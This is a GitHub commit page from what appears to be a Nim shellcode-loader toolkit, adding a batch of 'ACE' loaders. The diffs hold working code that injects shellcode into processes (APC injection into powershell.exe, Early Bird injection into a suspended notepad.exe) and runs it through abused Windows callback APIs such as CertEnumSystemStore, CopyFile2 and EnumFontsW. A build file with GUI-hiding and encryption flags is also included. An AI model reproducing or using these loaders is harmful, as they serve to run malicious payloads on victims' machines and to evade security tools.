Skip to content

Commit 86a04d8

Browse files
committed
Fix Bug and add new ACE
1 parent 323eabd commit 86a04d8

29 files changed

+468
-200
lines changed

APC_Ijnect_Load.nim

+41-3
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,44 @@
11
import public
22

3-
{.compile: "module\\APC.cpp".}
4-
proc APCNim(plainBuffer:cstring,size:cint):cint {.importcpp:"APC(@)",header:"module\\public.hpp".}
3+
{.emit: """
4+
#include <vector>
5+
#include <TlHelp32.h>
56
6-
discard APCNim(code,codelen)
7+
int APC(char *buf,SIZE_T shellSize)
8+
{
9+
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
10+
HANDLE victimProcess = NULL;
11+
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
12+
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
13+
std::vector<DWORD> threadIds;
14+
HANDLE threadHandle = NULL;
15+
if (Process32First(snapshot, &processEntry)) {
16+
17+
while (strcmp(processEntry.szExeFile, (const char *)"powershell.exe") != 0) {
18+
Process32Next(snapshot, &processEntry);
19+
}
20+
}
21+
22+
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
23+
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
24+
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
25+
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
26+
if (Thread32First(snapshot, &threadEntry)) {
27+
do {
28+
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
29+
threadIds.push_back(threadEntry.th32ThreadID);
30+
}
31+
} while (Thread32Next(snapshot, &threadEntry));
32+
}
33+
34+
for (DWORD threadId : threadIds) {
35+
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
36+
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
37+
Sleep(1000 * 2);
38+
}
39+
return 0;
40+
}
41+
""".}
42+
proc APC(plainBuffer:cstring,size:cint):cint {.importcpp:"APC(@)",nodecl.}
43+
44+
discard APC(code,codelen)

CertEnumSystemStore.nim

+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
{.passL:"-l Crypt32".}
2+
import public
3+
4+
{.emit: """
5+
int CertEnumSystem(char *shellcode,SIZE_T shellcodeSize) {
6+
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
7+
::RtlMoveMemory(addr, shellcode, shellcodeSize);
8+
::CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)addr);
9+
}
10+
""".}
11+
12+
proc CertEnumSystem(plainBuffer:cstring,size:cint):cint {.importcpp:"CertEnumSystem(@)",nodecl.}
13+
14+
discard CertEnumSystem(code,codelen)

CertEnumSystemStoreLocation.nim

+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
{.passL:"-l Crypt32".}
2+
import public
3+
4+
{.emit: """
5+
int CertEnumSystemLocationNim(char *shellcode,SIZE_T shellcodeSize) {
6+
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
7+
::RtlMoveMemory(addr, shellcode, shellcodeSize);
8+
::CertEnumSystemStoreLocation(NULL, nullptr, (PFN_CERT_ENUM_SYSTEM_STORE_LOCATION)addr);
9+
}
10+
""".}
11+
12+
proc CertEnumSystemLocationNim(plainBuffer:cstring,size:cint):cint {.importcpp:"CertEnumSystemLocationNim(@)",nodecl.}
13+
14+
discard CertEnumSystemLocationNim(code,codelen)

Compiler.ini

+21-7
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,22 @@
11
[compile]
2-
OEP Hiijack-Inject Load=nim cpp -d:<encrypt> --passL:-static -d:release -d:source="<source>" --app:gui --passL:-lntdll --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim
3-
Thread Hiijack-Inject Load=nim cpp -d:<encrypt> --passL:-static -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Thread_Hiijack_Inject_Load.nim
4-
APC-Ijnect Load=nim cpp -d:<encrypt> --passL:-static -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f APC_Ijnect_Load.nim
5-
Early Bird APC-Injetc Load=nim cpp -d:<encrypt> --passL:-static -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Early_Bird_APC_Injetc_Load.nim
6-
Direct Load=nim cpp -d:<encrypt> --passL:-static -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Direct_Load.nim
7-
CreateThreatPoolWait Load=nim c -d:<encrypt> -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Thread_Pool_Wait.nim
8-
Fiber Load=nim c -d:<encrypt> -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Fiber_Load.nim
2+
OEP Hiijack-Inject Load=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f OEP_Hiijack_Inject_Load.nim
3+
Thread Hiijack-Inject Load=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Thread_Hiijack_Inject_Load.nim
4+
APC-Ijnect Load=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f APC_Ijnect_Load.nim
5+
Early Bird APC-Injetc Load=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Early_Bird_APC_Injetc_Load.nim
6+
Direct Load=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Direct_Load.nim
7+
CreateThreatPoolWait Load=nim c -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Thread_Pool_Wait.nim
8+
Fiber Load=nim c -d:strip -d:<encrypt> -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f Fiber_Load.nim
9+
CertEnumSystemStore-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CertEnumSystemStore.nim
10+
CertEnumSystemStoreLocation-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CertEnumSystemStoreLocation.nim
11+
CopyFile2-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CopyFile2.nim
12+
CopyFileEx-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CopyFileEx.nim
13+
CreateTimerQueueTimer_Tech-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CreateTimerQueueTimer_Tech.nim
14+
CryptEnumOIDInfo-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f CryptEnumOIDInfo.nim
15+
EnumChildWindows-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumChildWindows.nim
16+
EnumDesktopW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDesktopW.nim
17+
EnumDesktopWindows-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDesktopWindows.nim
18+
EnumDirTreeW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDirTreeW.nim
19+
EnumDisplayMonitors-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumDisplayMonitors.nim
20+
EnumFontFamiliesExW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontFamiliesExW.nim
21+
EnumFontFamiliesW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontFamiliesW.nim
22+
EnumFontsW-ACE=nim cpp -d:<encrypt> -d:strip -d:release -d:source="<source>" --app:gui --opt:size -o:.\bin\ -f EnumFontsW.nim

CopyFile2.nim

+27
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
{.passC:"-D_WIN32_WINNT=0x601"} #https://github.com/msys2/MINGW-packages/pull/2553/commits/06dc93709704d5134d39141d678fc58508d558fe
2+
import public
3+
4+
{.emit: """
5+
#include <winbase.h>
6+
7+
int Copy2(char *shellcode,SIZE_T shellcodeSize) {
8+
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
9+
::RtlMoveMemory(addr, shellcode, shellcodeSize);
10+
11+
COPYFILE2_EXTENDED_PARAMETERS params;
12+
13+
params.dwSize = { sizeof(params) };
14+
params.dwCopyFlags = COPY_FILE_FAIL_IF_EXISTS;
15+
params.pfCancel = FALSE;
16+
params.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)addr;
17+
params.pvCallbackContext = nullptr;
18+
19+
::DeleteFileW(L"C:\\Windows\\Temp\\backup.log");
20+
::CopyFile2(L"C:\\Windows\\DirectX.log", L"C:\\Windows\\Temp\\backup.log", &params);
21+
}
22+
"""
23+
.}
24+
25+
proc Copy2(plainBuffer:cstring,size:cint):cint {.importcpp:"Copy2(@)",nodecl.}
26+
27+
discard Copy2(code,codelen)

CopyFileEx.nim

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
import public
2+
3+
{.emit: """
4+
5+
int CopyEx(char *shellcode,SIZE_T shellcodeSize) {
6+
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
7+
::RtlMoveMemory(addr, shellcode, shellcodeSize);
8+
9+
::DeleteFileW(L"C:\\Windows\\Temp\\backup.log");
10+
::CopyFileExW(L"C:\\Windows\\DirectX.log", L"C:\\Windows\\Temp\\backup.log", (LPPROGRESS_ROUTINE)addr, NULL, FALSE, COPY_FILE_FAIL_IF_EXISTS);
11+
return 1;
12+
}
13+
"""
14+
.}
15+
16+
proc CopyEx(plainBuffer:cstring,size:cint):cint {.importcpp:"CopyEx(@)",nodecl.}
17+
18+
discard CopyEx(code,codelen)

CreateTimerQueueTimer_Tech.nim

+24
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
import public
2+
3+
{.emit: """
4+
#include <stdio.h>
5+
6+
int CreateTimerQueueTimerNim(char *shellcode,SIZE_T shellcodeSize) {
7+
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
8+
::RtlMoveMemory(addr, shellcode, shellcodeSize);
9+
10+
HANDLE timer;
11+
HANDLE queue = ::CreateTimerQueue();
12+
HANDLE gDoneEvent = ::CreateEvent(NULL, TRUE, FALSE, NULL);
13+
if (!::CreateTimerQueueTimer(&timer, queue, (WAITORTIMERCALLBACK)addr, NULL, 100, 0, 0)) {
14+
printf("Fail");
15+
}
16+
if (::WaitForSingleObject(gDoneEvent, INFINITE) != WAIT_OBJECT_0)
17+
printf("WaitForSingleObject failed (%d)\n", GetLastError());
18+
}
19+
"""
20+
.}
21+
22+
proc CreateTimerQueueTimerNim(plainBuffer:cstring,size:cint):cint {.importcpp:"CreateTimerQueueTimerNim(@)",nodecl.}
23+
24+
discard CreateTimerQueueTimerNim(code,codelen)

CryptEnumOIDInfo.nim

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
{.passL:"-l Crypt32".}
2+
import public
3+
4+
{.emit: """
5+
6+
int CryptEnumOIDInfoNim(char *shellcode,SIZE_T shellcodeSize) {
7+
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
8+
::RtlMoveMemory(addr, shellcode, shellcodeSize);
9+
10+
CryptEnumOIDInfo(NULL, NULL, NULL, (PFN_CRYPT_ENUM_OID_INFO)addr);
11+
return 0;
12+
}
13+
"""
14+
.}
15+
16+
proc CryptEnumOIDInfoNim(plainBuffer:cstring,size:cint):cint {.importcpp:"CryptEnumOIDInfoNim(@)",nodecl.}
17+
18+
discard CryptEnumOIDInfoNim(code,codelen)

Direct_Load.nim

+12-3
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,15 @@
11
import public
22

3-
{.compile: "module\\Direct_Load.cpp".}
4-
proc Direct_LoadNim(plainBuffer:cstring,size:cint):cint {.importcpp:"Direct_Load(@)",header:"module\\public.hpp".}
3+
{.emit: """
4+
int Direct_Load(char *shellcode,SIZE_T shellcodeSize)
5+
{
6+
LPVOID Memory = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
7+
memcpy(Memory, shellcode, shellcodeSize);
8+
((void(*)())Memory)();
9+
return 0;
10+
}
11+
""".}
512

6-
discard Direct_LoadNim(code,codelen)
13+
proc Direct_Load(plainBuffer:cstring,size:cint):cint {.importcpp:"Direct_Load(@)",nodecl.}
14+
15+
discard Direct_Load(code,codelen)

Early_Bird_APC_Injetc_Load.nim

+19-3
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,22 @@
11
import public
22

3-
{.compile: "module\\Early_APC.cpp".}
4-
proc EarlyAPCNim(plainBuffer:cstring,size:cint):cint {.importcpp:"Early(@)",header:"module\\public.hpp".}
3+
{.emit: """
4+
int Early(char *shellcode,SIZE_T shellcodeSize)
5+
{
6+
STARTUPINFOA si = { 0 };
7+
PROCESS_INFORMATION pi = { 0 };
8+
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
9+
HANDLE victimProcess = pi.hProcess;
10+
HANDLE threadHandle = pi.hThread;
11+
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
12+
//3.Execute shellcode
13+
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
14+
WriteProcessMemory(victimProcess, shellAddress, shellcode, shellcodeSize, NULL);
15+
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
16+
ResumeThread(threadHandle);
17+
return 0;
18+
}
19+
""".}
20+
proc Early(plainBuffer:cstring,size:cint):cint {.importcpp:"Early(@)",nodecl.}
521

6-
discard EarlyAPCNim(code,codelen)
22+
discard Early(code,codelen)

EnumChildWindows.nim

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
import public
2+
3+
{.emit: """
4+
5+
int EnumChildWindowsNim(char *shellcode,SIZE_T shellcodeSize) {
6+
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
7+
::RtlMoveMemory(addr, shellcode, shellcodeSize);
8+
9+
::EnumChildWindows(NULL, (WNDENUMPROC)addr, NULL);
10+
}
11+
"""
12+
.}
13+
14+
proc EnumChildWindowsNim(plainBuffer:cstring,size:cint):cint {.importcpp:"EnumChildWindowsNim(@)",nodecl.}
15+
16+
discard EnumChildWindowsNim(code,codelen)

EnumDesktopW.nim

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
import public
2+
3+
{.emit: """
4+
5+
int EnumDesktopWNim(char *shellcode,SIZE_T shellcodeSize) {
6+
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
7+
::RtlMoveMemory(addr, shellcode, shellcodeSize);
8+
9+
::EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)addr, NULL);
10+
}
11+
"""
12+
.}
13+
14+
proc EnumDesktopWNim(plainBuffer:cstring,size:cint):cint {.importcpp:"EnumDesktopWNim(@)",nodecl.}
15+
16+
discard EnumDesktopWNim(code,codelen)

EnumDesktopWindows.nim

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
import public
2+
3+
{.emit: """
4+
5+
int EnumDesktopWindowsNim(char *shellcode,SIZE_T shellcodeSize) {
6+
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
7+
::RtlMoveMemory(addr, shellcode, shellcodeSize);
8+
9+
::EnumDesktopWindows(::GetThreadDesktop(::GetCurrentThreadId()), (WNDENUMPROC)addr, NULL);
10+
}
11+
"""
12+
.}
13+
14+
proc EnumDesktopWindowsNim(plainBuffer:cstring,size:cint):cint {.importcpp:"EnumDesktopWindowsNim(@)",nodecl.}
15+
16+
discard EnumDesktopWindowsNim(code,codelen)

EnumDirTreeW.nim

+23
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
{.passL:"-l Dbghelp".}
2+
import public
3+
4+
{.emit: """
5+
#include <windows.h>
6+
#include <stdio.h>
7+
#include <Dbghelp.h>
8+
9+
int EnumDirTreeWNim(char *shellcode,SIZE_T shellcodeSize) {
10+
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
11+
::RtlMoveMemory(addr, shellcode, shellcodeSize);
12+
13+
::SymInitialize(::GetCurrentProcess(), NULL, TRUE);
14+
15+
WCHAR dummy[522];
16+
::EnumDirTreeW(::GetCurrentProcess(), L"C:\\Windows", L"*.log", dummy, (PENUMDIRTREE_CALLBACKW)addr, NULL);
17+
}
18+
"""
19+
.}
20+
21+
proc EnumDirTreeWNim(plainBuffer:cstring,size:cint):cint {.importcpp:"EnumDirTreeWNim(@)",nodecl.}
22+
23+
discard EnumDirTreeWNim(code,codelen)

EnumDisplayMonitors.nim

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
import public
2+
3+
{.emit: """
4+
5+
int EnumDisplayMonitorsNim(char *shellcode,SIZE_T shellcodeSize) {
6+
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
7+
::RtlMoveMemory(addr, shellcode, shellcodeSize);
8+
9+
::EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)addr, NULL);
10+
}
11+
"""
12+
.}
13+
14+
proc EnumDisplayMonitorsNim(plainBuffer:cstring,size:cint):cint {.importcpp:"EnumDisplayMonitorsNim(@)",nodecl.}
15+
16+
discard EnumDisplayMonitorsNim(code,codelen)

EnumFontFamiliesExW.nim

+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
import public
2+
3+
{.emit: """
4+
5+
int EnumFontFamiliesExWNim(char *shellcode,SIZE_T shellcodeSize) {
6+
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
7+
::RtlMoveMemory(addr, shellcode, shellcodeSize);
8+
9+
LOGFONTW lf = { 0 };
10+
lf.lfCharSet = DEFAULT_CHARSET;
11+
12+
HDC dc = GetDC(NULL);
13+
EnumFontFamiliesExW(dc, &lf, (FONTENUMPROCW)addr, NULL, NULL);
14+
}
15+
"""
16+
.}
17+
18+
proc EnumFontFamiliesExWNim(plainBuffer:cstring,size:cint):cint {.importcpp:"EnumFontFamiliesExWNim(@)",nodecl.}
19+
20+
discard EnumFontFamiliesExWNim(code,codelen)

EnumFontFamiliesW.nim

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
import public
2+
3+
{.emit: """
4+
5+
int EnumFontFamiliesWNim(char *shellcode,SIZE_T shellcodeSize) {
6+
LPVOID addr = ::VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
7+
::RtlMoveMemory(addr, shellcode, shellcodeSize);
8+
9+
HDC dc = GetDC(NULL);
10+
EnumFontFamiliesW(dc, NULL, (FONTENUMPROCW)addr, NULL);
11+
return 0;
12+
}
13+
"""
14+
.}
15+
16+
proc EnumFontFamiliesWNim(plainBuffer:cstring,size:cint):cint {.importcpp:"EnumFontFamiliesWNim(@)",nodecl.}
17+
18+
discard EnumFontFamiliesWNim(code,codelen)

0 commit comments

Comments
 (0)